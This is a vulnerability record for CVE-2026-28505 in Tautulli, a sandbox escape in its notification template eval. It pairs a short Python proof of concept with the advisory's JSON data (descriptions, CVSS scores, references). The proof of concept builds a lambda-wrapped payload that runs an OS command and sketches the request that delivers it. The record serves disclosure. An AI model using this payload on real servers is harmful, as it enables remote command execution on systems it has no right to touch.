CVE-2026-28505

# PoC for CVE-2026-28505 # The vulnerability lies in the sandbox inspection of code.co_names vs code.co_consts # In a lambda, attributes are stored in co_consts (nested code), bypassing the check. # Malicious payload using lambda to hide the function call from co_names inspection payload = "(lambda: __import__('os').system('whoami'))()" # This payload would be sent to the vulnerable endpoint handling notification templates. # Example request context (conceptual): # POST /api/v2?cmd=notify # { "params": { "subject": payload } } print(f"Generated Payload: {payload}")

{"cve": {"id": "CVE-2026-28505", "sourceIdentifier": "[email protected]", "published": "2026-03-30T20:16:20.180", "lastModified": "2026-04-02T16:55:37.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the str_eval() function in notification_handler.py implements a sandboxed eval() for notification text templates. The sandbox attempts to restrict callable names by inspecting code.co_names of the compiled code object. However, co_names only contains names from the outer code object. When a lambda expression is used, it creates a nested code object whose attribute accesses are stored in code.co_consts, NOT in code.co_names. The sandbox never inspects nested code objects. This issue has been patched in version 2.17.0."}, {"lang": "es", "value": "Tautulli es una herramienta de monitoreo y seguimiento basada en Python para Plex Media Servidor. Antes de la versión 2.17.0, la función str_eval() en notification_handler.py implementa un eval() en sandbox para plantillas de texto de notificación. El sandbox intenta restringir los nombres invocables inspeccionando code.co_names del objeto de código compilado. Sin embargo, co_names solo contiene nombres del objeto de código externo. Cuando se utiliza una expresión lambda, esta crea un objeto de código anidado cuyos accesos a atributos se almacenan en code.co_consts, NO en code.co_names. El sandbox nunca inspecciona objetos de código anidados. Este problema ha sido parcheado en la versión 2.17.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-95"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tautulli:tautulli:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17.0", "matchCriteriaId": "A0B5F451-819C-4ADA-BFFA-EDA898A7D082"}]}]}], "references": [{"url": "https://github.com/Tautulli/Tautulli/releases/tag/v2.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Tautulli/Tautulli/security/advisories/GHSA-m62j-gwm9-7p8m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}